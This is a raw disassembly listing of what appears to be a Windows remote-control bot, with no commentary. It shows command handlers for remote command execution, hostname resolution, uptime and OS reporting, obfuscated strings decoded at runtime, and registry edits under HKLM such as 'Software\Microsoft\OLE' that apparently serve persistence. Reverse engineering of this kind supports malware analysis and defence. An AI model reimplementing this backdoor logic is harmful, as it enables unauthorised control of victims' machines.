jmp loc_4056B8
; ---------------------------------------------------------------------------
loc_405194: ; CODE XREF: sub_404CC0+3CBj
lea ecx, [edi+0D99h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_4051B7
mov byte_4D809C, al
mov al, 1
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_4051B7: ; CODE XREF: sub_404CC0+4E9j
lea ecx, [edi+0D3Dh]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_40547E
lea ecx, [esp+178h+var_11C]
call sub_40142E
push offset asc_444600 ; " "
lea ecx, [esp+17Ch+var_164]
push 1
mov ebx, 0Ah
push ecx
mov ecx, esi
mov [esp+184h+var_4], ebx
call sub_4016B8
push offset byte_448F40
mov ecx, eax
mov byte ptr [esp+17Ch+var_4], 0Bh
call sub_4012EE
test eax, eax
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
setz [esp+178h+var_14D]
call sub_401226
mov al, [esp+178h+var_14D]
test al, al
jz short loc_405241
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_11C]
jmp loc_4056B8
; ---------------------------------------------------------------------------
loc_405241: ; CODE XREF: sub_404CC0+56Bj
push offset asc_444600 ; " "
lea edx, [esp+17Ch+var_164]
push 1
push edx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+178h+var_4], 0Ch
call sub_4017EE
push eax
nop
call near ptr 71AB2BF4h
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_104], eax
mov byte ptr [esp+178h+var_4], bl
call sub_401226
mov eax, [esp+178h+var_104]
or ebp, 0FFFFFFFFh
cmp eax, ebp
jz loc_405314
push 2
lea eax, [esp+17Ch+var_104]
push 4
push eax
nop
call near ptr 71ABE479h
mov edi, eax
test edi, edi
jz loc_4053F5
push offset asc_444600 ; " "
lea ecx, [esp+17Ch+var_164]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov edx, [edi]
mov ecx, eax
push edx
mov byte ptr [esp+17Ch+var_4], 0Dh
call sub_4017EE
push eax
lea eax, [esp+180h+var_11C]
push offset aSResolvedS ; "%s resolved %s"
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
jmp loc_40545B
; ---------------------------------------------------------------------------
loc_405314: ; CODE XREF: sub_404CC0+5C7j
push offset asc_444600 ; " "
lea eax, [esp+17Ch+var_164]
push 1
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+178h+var_4], 0Eh
call sub_4017EE
push eax
call near ptr 71AB4FD4h
nop
lea ecx, [esp+178h+var_164]
mov edi, eax
mov byte ptr [esp+178h+var_4], bl
call sub_401226
test edi, edi
jz loc_4053F5
mov ecx, [edi+0Ch]
push offset asc_444600 ; " "
lea eax, [esp+17Ch+var_164]
push 1
mov edx, [ecx]
push eax
mov ecx, esi
mov edi, [edx]
call sub_4016B8
mov ebp, eax
push edi
mov byte ptr [esp+17Ch+var_4], 0Fh
nop
call near ptr 71AB3F41h
push eax
mov ecx, ebp
call sub_4017EE
push eax
lea ecx, [esp+180h+var_11C]
push offset aSS_1 ; "%s -> %s"
push ecx
call sub_40102D
add esp, 10h
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+178h+var_11C]
mov bl, al
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, bl
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_4053F5: ; CODE XREF: sub_404CC0+5E0j
; sub_404CC0+691j
push offset asc_444600 ; " "
lea ecx, [esp+17Ch+var_164]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+178h+var_4], 10h
call sub_4017EE
push eax
lea edx, [esp+17Ch+var_11C]
push offset aResolve_errorS ; "resolve.error %s."
push edx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
loc_40545B: ; CODE XREF: sub_404CC0+64Fj
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+178h+var_11C]
mov bl, al
mov [esp+178h+var_4], ebp
call sub_401226
mov al, bl
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_40547E: ; CODE XREF: sub_404CC0+50Cj
lea ecx, [edi+0BCDh]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_40556C
lea ecx, [edi+9]
call sub_4017EE
lea edx, [esp+178h+var_164]
push eax
push edx
call sub_402040
push 0
push 25h
push 1Dh
push 23h
lea eax, [esp+190h+var_14C]
mov ebx, 11h
push 28h
push eax
mov [esp+198h+var_4], ebx
call sub_4019C4
add esp, 20h
mov esi, eax
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 12h
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
push eax
push offset aSS_0 ; "%s %s\r\n"
push offset byte_4D8085
call sub_401E24
add esp, 10h
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
push 20h
lea ecx, [esp+17Ch+var_14C]
push 0
push ecx
lea ecx, [esp+184h+var_164]
call sub_4012B2
mov ecx, eax
mov byte ptr [esp+178h+var_4], 13h
call sub_4017EE
push eax
push offset aS ; "%s"
push offset byte_4E8E55
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_40556C: ; CODE XREF: sub_404CC0+7D3j
lea ecx, [edi+0E23h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4056DA
push offset asc_444600 ; " "
lea edx, [esp+17Ch+var_11C]
push 1
push edx
mov ecx, esi
call sub_4016B8
mov edi, eax
mov ecx, ebp
mov [esp+178h+var_4], 14h
call sub_4013E3
mov ecx, edi
mov ebx, eax
call sub_4013E3
mov ecx, esi
lea edi, [ebx+eax+3]
call sub_4013E3
cmp eax, edi
lea ecx, [esp+178h+var_11C]
setle bl
or edi, 0FFFFFFFFh
mov [esp+178h+var_4], edi
call sub_401226
test bl, bl
jnz loc_4056BD
lea ecx, [esp+178h+var_14C]
call sub_40142E
mov ecx, ebp
mov [esp+178h+var_4], 15h
call sub_4013E3
add eax, 2
mov ecx, esi
push eax
call sub_401479
push eax
lea ecx, [esp+17Ch+var_14C]
call sub_4015E1
lea ecx, [esp+178h+var_164]
call sub_40142E
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], 16h
call sub_4017EE
push eax
lea eax, [esp+17Ch+var_164]
push offset aExecutedS_ ; "Executed: %s."
push eax
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_14C]
call sub_4017EE
push eax
nop
call near ptr 77C293C7h
add esp, 4
cmp eax, edi
lea ecx, [esi+69h]
jnz short loc_405674
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push offset aExec_error ; "exec.error"
push ecx
push edx
jmp short loc_405692
; ---------------------------------------------------------------------------
loc_405674: ; CODE XREF: sub_404CC0+997j
call sub_4014DD
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
loc_405692: ; CODE XREF: sub_404CC0+9B2j
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 15h
call sub_401226
mov [esp+178h+var_4], edi
lea ecx, [esp+178h+var_14C]
loc_4056B8: ; CODE XREF: sub_404CC0+1D4j
; sub_404CC0+2AFj ...
call sub_401226
loc_4056BD: ; CODE XREF: sub_404CC0+91Cj
; sub_404CC0+C6Aj
xor al, al
loc_4056BF: ; CODE XREF: sub_404CC0+6Fj
; sub_404CC0+200j ...
mov ecx, [esp+178h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 168h
retn 4
; ---------------------------------------------------------------------------
loc_4056DA: ; CODE XREF: sub_404CC0+8C1j
lea ecx, [edi+0C85h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_405750
lea edx, [esp+178h+var_164]
mov ecx, edi
push edx
call sub_401F5A
mov edi, eax
lea ecx, [esi+69h]
mov [esp+178h+var_4], 17h
call sub_4014DD
push eax
mov ecx, edi
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+178h+var_164]
mov bl, al
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, bl
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_405750: ; CODE XREF: sub_404CC0+A2Fj
lea ecx, [edi+0CE1h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405841
push 1
push offset asc_444600 ; " "
lea edx, [esp+180h+var_14C]
push 1
push edx
mov ecx, esi
call sub_4011EA
push 20h
lea ecx, [esp+17Ch+var_164]
push 0
push ecx
mov ecx, eax
mov [esp+184h+var_4], 18h
call sub_4012B2
mov ecx, eax
mov byte ptr [esp+178h+var_4], 19h
call sub_4017EE
push eax
push offset aS ; "%s"
push offset byte_4E8E55
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 18h
call sub_401226
or edi, 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], edi
call sub_401226
push 0
push 25h
push 1Dh
push 23h
lea edx, [esp+188h+var_164]
push 28h
push edx
call sub_4019C4
add esp, 18h
mov esi, eax
mov ecx, offset byte_4E8E55
mov [esp+178h+var_4], 1Ah
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
push eax
push offset aSS_0 ; "%s %s\r\n"
push offset byte_4D8085
call sub_401E24
add esp, 10h
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], edi
call sub_401226
mov al, 1
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_405841: ; CODE XREF: sub_404CC0+AA5j
lea ecx, [edi+0CB3h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405915
push offset asc_444600 ; " "
lea eax, [esp+17Ch+var_14C]
push 1
push eax
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+178h+var_4], 1Bh
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
or ebp, 0FFFFFFFFh
add esp, 4
lea ecx, [esp+178h+var_14C]
mov ebx, eax
mov [esp+178h+var_4], ebp
call sub_401226
test ebx, ebx
jnz short loc_4058A9
mov ebx, 7
loc_4058A9: ; CODE XREF: sub_404CC0+BE2j
lea ecx, [esp+178h+var_164]
push ebx
push ecx
mov ecx, edi
call sub_40195B
push offset byte_448F40
lea ecx, [esp+17Ch+var_164]
mov [esp+17Ch+var_4], 1Ch
call sub_4012EE
test eax, eax
jz short loc_4058FE
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D8085
call sub_401118
loc_4058FE: ; CODE XREF: sub_404CC0+C11j
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], ebp
call sub_401226
mov al, 1
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_405915: ; CODE XREF: sub_404CC0+B96j
lea ecx, [edi+0DF5h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4056BD
lea ecx, [esp+178h+var_100]
call sub_40142E
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+22Ch+var_164]
push 2Dh
push ecx
mov [esp+234h+var_4], 1Dh
call sub_4019C4
add esp, 0BCh
mov ecx, eax
mov byte ptr [esp+178h+var_4], 1Eh
call sub_4017EE
push eax
lea ecx, [esp+17Ch+var_100]
call sub_401A9B
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 1Dh
call sub_401226
mov edi, offset aN ; "N"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+178h+var_8C]
repne scasb
not ecx
sub edi, ecx
mov [esp+178h+var_168], 0
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
lea edi, [esp+178h+var_8C]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov esi, dword_511764
mov edi, ecx
lea ecx, [esp+178h+var_168]
push ecx
push 20019h
push eax
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push 80000002h
call esi
push 0
push 27h
push 29h
push 1Dh
push 1Eh
push 5
push 0Ch
push 2
push 1
push 0Eh
lea edx, [esp+1B4h+var_178]
push 1Fh
push edx
call sub_4019C4
add esp, 30h
lea ecx, [esp+18Ch+var_A0]
push edi
push ecx
push 1
push 0
mov ecx, eax
mov [esp+19Ch+var_18], 1Fh
call sub_4017EE
mov edx, [esp+19Ch+var_17C]
push eax
push edx
nop
call near ptr 2950000h
lea ecx, [esp+1A4h+var_190]
mov [esp+1A4h+var_30], 1Dh
call sub_401226
mov eax, [esp+1A4h+var_194]
mov edi, dword_511740
push eax
call edi
lea ecx, [esp+1A8h+var_198]
push ecx
push 0F003Fh
push 0
lea ecx, [esp+1B4h+var_130]
call sub_4017EE
push eax
push 80000002h
call esi
push 0
push 5
push 18h
push 5
push 4Eh
push 5
push 14h
push 1
push 13h
lea edx, [esp+1E0h+var_1A8]
push 2Dh
push edx
call sub_4019C4
add esp, 2Ch
mov ecx, eax
mov [esp+1BCh+var_48], 20h
call sub_4017EE
mov ebp, dword_51176C
push eax
mov eax, [esp+1C0h+var_1AC]
push eax
call ebp
lea ecx, [esp+1C4h+var_1B0]
mov [esp+1C4h+var_50], 1Dh
call sub_401226
mov ecx, [esp+1C4h+var_1B4]
push ecx
call edi
push 0
push 5
push 18h
push 5
push 4Eh
push 48h
push 0Eh
push 15h
push 12h
lea edx, [esp+1ECh+var_1B4]
push 9
push edx
call sub_4019C4
add esp, 2Ch
mov ecx, eax
mov [esp+1C8h+var_54], 21h
call sub_4017EE
push eax
call sub_401604
sub_404CC0 endp
; ---------------------------------------------------------------------------
db 83h
dd 4C8D04C4h, 84C61424h, 17424h, 0BFE81D00h, 8DFFFFB6h
dd 0E844244Ch, 0FFFFB8BEh, 46822B3h, 68000001h, 104h, 4C244C8Dh
dd 7C249C88h, 0E8000001h, 0FFFFC0E5h, 6DE89050h, 6A023EA4h
dd 6A056A00h, 6A056A18h, 6A486A4Eh, 6A156A0Eh, 24448D12h
dd 50096A38h, 0FFBE13E8h, 2CC483FFh, 84C6C88Bh, 17424h
dd 2BE82300h, 50FFFFBCh, 48244C8Dh, 0FFBC21E8h, 4C8D50FFh
dd 84684C24h, 51004446h, 0FFB450E8h, 10C483FFh, 14244C8Dh
dd 74249C88h, 0E8000001h, 0FFFFB636h, 44244C8Dh, 0FFBA92E8h
dd 2CE850FFh, 90023DB1h, 1024548Dh, 78244C8Dh, 3F6852h
dd 6A000Fh, 0FFBBD9E8h, 26850FFh, 0FF800000h, 6A006AD6h
dd 6A186A05h, 6A4E6A05h, 6A146A05h, 24448D01h, 50126A34h
dd 0FFBD8BE8h, 28C483FFh, 84C6C88Bh, 17424h, 0A3E82400h
dd 8BFFFFBBh, 5010244Ch, 8DD5FF51h, 8814244Ch, 174249Ch
dd 0C3E80000h, 8BFFFFB5h, 52102454h, 6AD7FFh, 186A056Ah
dd 4E6A056Ah, 0E6A486Ah, 496A486Ah, 456A126Ah, 448D456Ah
dd 96A4424h, 0BD36E850h, 0C483FFFFh, 0C6C88B38h, 1742484h
dd 0E8250000h, 0FFFFBB4Eh, 0B95EE850h, 0C483FFFFh, 244C8D04h
dd 249C8814h, 174h, 0FFB56DE8h, 10468FFh, 4680000h, 8D000001h
dd 0E84C244Ch, 0FFFFBFA5h, 2DE89050h, 6A023EA3h, 6A056A00h
dd 6A056A18h, 6A486A4Eh, 6A486A0Eh, 6A126A49h, 8D456A45h
dd 6A44244Ch, 0CDE85109h, 83FFFFBCh, 0C88B38C4h, 742484C6h
dd 26000001h, 0FFBAE5E8h, 4C8D50FFh, 0DBE84824h, 50FFFFBAh
dd 4C24548Dh, 44468468h, 0AE85200h, 83FFFFB3h, 4C8D10C4h
dd 9C881424h, 17424h, 0B4F0E800h, 4C8DFFFFh, 4CE84424h
dd 50FFFFB9h, 3DAFE6E8h, 448D9002h, 4C8D1024h, 68507824h
dd 0F003Fh, 93E8006Ah, 50FFFFBAh, 268h, 6AD6FF80h, 6A056A00h
dd 6A056A18h, 6A056A4Eh, 6A016A14h, 244C8D13h, 51136A38h
dd 0FFBC43E8h, 2CC483FFh, 84C6C88Bh, 17424h, 5BE82700h
dd 8BFFFFBAh, 50102454h, 8DD5FF52h, 8814244Ch, 174249Ch
dd 7BE80000h, 8BFFFFB4h, 50102444h, 6AD7FFh, 186A056Ah
dd 4E6A056Ah, 196A136Ah, 0E6A136Ah, 4C8D096Ah, 176A3C24h
dd 0BBF2E851h, 0C483FFFFh, 0C6C88B30h, 1742484h, 0E8280000h
dd 0FFFFBA0Ah, 0B81AE850h, 0C483FFFFh, 244C8D04h, 249C8814h
dd 174h, 0FFB429E8h, 10468FFh, 4680000h, 8D000001h, 0E84C244Ch
dd 0FFFFBE61h, 0E9E89050h, 6A023EA1h, 6A056A00h, 6A056A18h
dd 6A136A4Eh, 6A136A19h, 8D096A0Eh, 6A3C2454h, 8DE85217h
dd 83FFFFBBh, 0C88B30C4h, 742484C6h, 29000001h, 0FFB9A5E8h
dd 4C8D50FFh, 9BE84824h, 50FFFFB9h, 4C24448Dh, 44468468h
dd 0CAE85000h, 83FFFFB1h, 4C8D10C4h, 9C881424h, 17424h
dd 0B3B0E800h, 4C8DFFFFh, 0CE84424h, 50FFFFB8h, 3DAEA6E8h
dd 4C8D9002h, 68511024h, 0F003Fh, 8C8D006Ah, 8424h, 0B950E800h
dd 6850FFFFh, 80000002h, 6AD6FFh, 186A056Ah, 4E6A056Ah
dd 146A056Ah, 46A016Ah, 156A106Ah, 476A046Ah, 4824548Dh
dd 0E852046Ah, 0FFFFBAF8h, 8B3CC483h, 2484C6C8h, 174h
dd 0B910E82Ah, 8B50FFFFh, 50142444h, 4C8DD5FFh, 9C881424h
dd 17424h, 0B330E800h, 4C8BFFFFh, 0FF511024h, 6A006AD7h
dd 6A186A05h, 6A4E6A05h, 6A0C6A05h, 6A016A07h, 8D026A05h
dd 6A402454h, 0A5E85202h, 83FFFFBAh, 0C88B34C4h, 742484C6h
dd 2B000001h, 0FFB8BDE8h, 0CDE850FFh, 83FFFFB6h, 4C8D04C4h
dd 9C881424h, 17424h, 0B2DCE800h, 468FFFFh, 68000001h
dd 104h, 4C244C8Dh, 0FFBD14E8h, 0E89050FFh, 23EA09Ch, 56A006Ah
dd 56A186Ah, 56A4E6Ah, 76A0C6Ah, 56A016Ah, 448D026Ah, 26A4024h
dd 0BA3EE850h, 0C483FFFFh, 0C6C88B34h, 1742484h, 0E82C0000h
dd 0FFFFB856h, 244C8D50h, 0B84CE848h, 8D50FFFFh, 684C244Ch
dd 444684h, 0B07BE851h, 0C483FFFFh, 244C8D10h, 249C8814h
dd 174h, 0FFB261E8h, 244C8DFFh, 0B6BDE844h, 9050FFFFh
dd 3DAD56E8h, 24548D02h, 244C8D10h, 3F685278h, 6A000F00h
dd 0B804E800h, 6850FFFFh, 80000002h, 6AD6FFh, 0F6A0E6Ah
dd 0B6A276Ah, 16A136Ah, 3024448Dh, 0E8502E6Ah, 0FFFFB9B8h
dd 8B24C483h, 2484C6C8h, 174h, 0B7D0E82Dh, 4C8BFFFFh, 51501024h
dd 4C8DD5FFh, 9C881424h, 17424h, 0B1F0E800h, 548BFFFFh
dd 0FF521024h, 6A006AD7h, 6A186A05h, 6A4E6A05h, 6A0F6A0Eh
dd 6A0B6A0Dh, 8D016A13h, 6A402444h, 65E85014h, 83FFFFB9h
dd 0C88B34C4h, 742484C6h, 2E000001h, 0FFB77DE8h, 8DE850FFh
dd 83FFFFB5h, 4C8D04C4h, 9C881424h, 17424h, 0B19CE800h
dd 468FFFFh, 68000001h, 104h, 4C244C8Dh, 0FFBBD4E8h, 5DE850FFh
dd 90023E9Fh, 56A006Ah, 56A186Ah, 0E6A4E6Ah, 0D6A0F6Ah
dd 136A0B6Ah, 4C8D016Ah, 146A4024h, 0B8FEE851h, 0C483FFFFh
dd 0C6C88B34h, 1742484h, 0E82F0000h, 0FFFFB716h, 244C8D50h
dd 0B70CE848h, 6850FFFFh, 444684h, 5024548Dh, 0AF3BE852h
dd 0C483FFFFh, 244C8D10h, 249C8814h, 174h, 0FFB121E8h
dd 244C8DFFh, 0B57DE844h, 0E850FFFFh, 23DAC17h, 24448D90h
dd 244C8D10h, 3F685078h, 6A000F00h, 0B6C4E800h, 6850FFFFh
dd 80000002h, 6AD6FFh, 56A126Ah, 0F6A126Ah, 106A0C6Ah
dd 8C8D186Ah, 0B024h, 511F6A00h, 0FFB873E8h, 28C483FFh
dd 84C6C88Bh, 17424h, 8BE83000h, 8BFFFFB6h, 50102454h
dd 8DD5FF52h, 90248Ch, 9C880000h, 17424h, 0B0A8E800h, 448BFFFFh
dd 0FF501024h, 10358BD7h, 6800511Bh, 444668h, 4C68D6FFh
dd 0FF004446h, 462C68D6h, 0D6FF0044h, 44460868h, 83D6FF00h
dd 4C8D10C4h, 84C64424h, 17424h, 6BE81D00h, 8DFFFFB0h
dd 0C778244Ch, 1742484h, 0FFFF0000h, 57E8FFFFh, 0B0FFFFB0h
dd 0F4E9E901h, 9090FFFFh, 2 dup(90909090h), 154h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_406730 proc near ; CODE XREF: sub_40195Bj
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_406730
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push ebp
push esi
xor ebx, ebx
push edi
lea ecx, [esp+38h+var_24]
mov [esp+38h+var_28], ebx
call sub_40142E
mov esi, [esp+38h+arg_4]
mov ebp, 1
cmp esi, ebx
mov [esp+38h+var_4], ebp
jnz short loc_406781
mov esi, [esp+38h+arg_0]
push ebx
mov ecx, esi
call sub_402112
mov [esp+38h+var_28], ebp
jmp loc_406827
; ---------------------------------------------------------------------------
loc_406781: ; CODE XREF: sub_406730+3Aj
nop
call near ptr 27E0CD2h
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov ecx, edx
mov eax, 0C22E4507h
shr ecx, 6
imul ecx
add edx, ecx
sar edx, 10h
mov eax, edx
shr eax, 1Fh
add edx, eax
mov edi, edx
cmp edi, esi
jl short loc_406813
mov eax, ecx
mov ecx, 15180h
cdq
idiv ecx
mov esi, 0E10h
mov ecx, edx
mov eax, ecx
cdq
idiv esi
mov eax, 88888889h
mov esi, edx
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, 91A2B3C5h
push edx
imul ecx
add edx, ecx
sar edx, 0Bh
mov ecx, edx
shr ecx, 1Fh
add edx, ecx
push edx
push edi
lea edx, [esp+44h+var_24]
push offset aUpDdDhDm ; "up: %dd %dh %dm"
push edx
call sub_40102D
mov esi, [esp+4Ch+arg_0]
add esp, 14h
lea eax, [esp+38h+var_24]
mov ecx, esi
push eax
call sub_4014D3
jmp short loc_406823
; ---------------------------------------------------------------------------
loc_406813: ; CODE XREF: sub_406730+7Cj
mov esi, [esp+38h+arg_0]
push offset byte_448F40
mov ecx, esi
call sub_401870
loc_406823: ; CODE XREF: sub_406730+E1j
mov [esp+38h+var_28], ebp
loc_406827: ; CODE XREF: sub_406730+4Cj
lea ecx, [esp+38h+var_24]
mov byte ptr [esp+38h+var_4], bl
call sub_401226
mov ecx, [esp+38h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 28h
retn 8
sub_406730 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4068A0: ; CODE XREF: ___:00401672j
push ecx
push esi
mov esi, [esp+0Ch]
push offset byte_448F40
mov ecx, esi
mov dword ptr [esp+8], 0
call sub_401870
mov eax, esi
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4068E0 proc near ; CODE XREF: sub_401F5Aj
var_198 = dword ptr -198h
var_194 = dword ptr -194h
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_174 = byte ptr -174h
var_164 = byte ptr -164h
var_14C = byte ptr -14Ch
var_144 = dword ptr -144h
var_140 = dword ptr -140h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_4068E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18Ch
push ebp
push esi
push edi
lea ecx, [esp+1A4h+var_18C]
mov [esp+1A4h+var_198], 0
call sub_40142E
mov [esp+1A4h+var_4], 1
nop
call near ptr 27E0CD2h
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov esi, edx
lea edx, [esp+1A4h+var_14C]
push edx
mov [esp+1A8h+var_190], 10h
shr esi, 6
mov [esp+1A8h+var_194], 15h
nop
call near ptr 2830000h
lea eax, [esp+1A4h+var_12C]
mov [esp+1A4h+var_12C], 94h
push eax
call near ptr 2820000h
nop
mov eax, [esp+1A4h+var_128]
cmp eax, 4
jnz short loc_4069AE
mov eax, [esp+1A4h+var_124]
test eax, eax
jnz short loc_406996
mov eax, [esp+1A4h+var_11C]
cmp eax, 1
jnz short loc_406986
mov ebp, offset a95 ; "95"
jmp loc_406A21
; ---------------------------------------------------------------------------
loc_406986: ; CODE XREF: sub_4068E0+9Aj
cmp eax, 2
jnz loc_406A1D
mov ebp, offset aNt ; "NT"
jmp short loc_4069EA
; ---------------------------------------------------------------------------
loc_406996: ; CODE XREF: sub_4068E0+8Ej
cmp eax, 0Ah
jnz short loc_4069A2
mov ebp, offset a98 ; "98"
jmp short loc_4069E0
; ---------------------------------------------------------------------------
loc_4069A2: ; CODE XREF: sub_4068E0+B9j
cmp eax, 5Ah
jnz short loc_4069DB
mov ebp, offset aMe ; "ME"
jmp short loc_4069E0
; ---------------------------------------------------------------------------
loc_4069AE: ; CODE XREF: sub_4068E0+83j
cmp eax, 5
jnz short loc_4069DB
mov eax, [esp+1A4h+var_124]
test eax, eax
jnz short loc_4069C5
mov ebp, offset a2000 ; "2000"
jmp short loc_4069E0
; ---------------------------------------------------------------------------
loc_4069C5: ; CODE XREF: sub_4068E0+DCj
cmp eax, 1
jnz short loc_4069D1
mov ebp, offset aXp ; "XP"
jmp short loc_4069E0
; ---------------------------------------------------------------------------
loc_4069D1: ; CODE XREF: sub_4068E0+E8j
cmp eax, 2
mov ebp, offset a2003 ; "2003"
jz short loc_4069E0
loc_4069DB: ; CODE XREF: sub_4068E0+C5j
; sub_4068E0+D1j
mov ebp, offset a??? ; "???"
loc_4069E0: ; CODE XREF: sub_4068E0+C0j
; sub_4068E0+CCj ...
cmp [esp+1A4h+var_11C], 2
jnz short loc_406A21
loc_4069EA: ; CODE XREF: sub_4068E0+B4j
mov al, [esp+1A4h+var_118]
test al, al
jz short loc_406A21
lea ecx, [esp+1A4h+var_118]
lea edx, [esp+1A4h+var_98]
push ecx
push ebp
push offset aSS_2 ; "%s [%s]"
push edx
call near ptr word_5F67AE
nop
add esp, 10h
lea ebp, [esp+1A4h+var_98]
jmp short loc_406A21
; ---------------------------------------------------------------------------
loc_406A1D: ; CODE XREF: sub_4068E0+A9j
mov ebp, [esp+1A4h+var_198]
loc_406A21: ; CODE XREF: sub_4068E0+A1j
; sub_4068E0+108j ...
lea eax, [esp+1A4h+var_190]
lea ecx, [esp+1A4h+var_174]
push eax
push ecx
call near ptr 2810000h
nop
lea edx, [esp+1A4h+var_194]
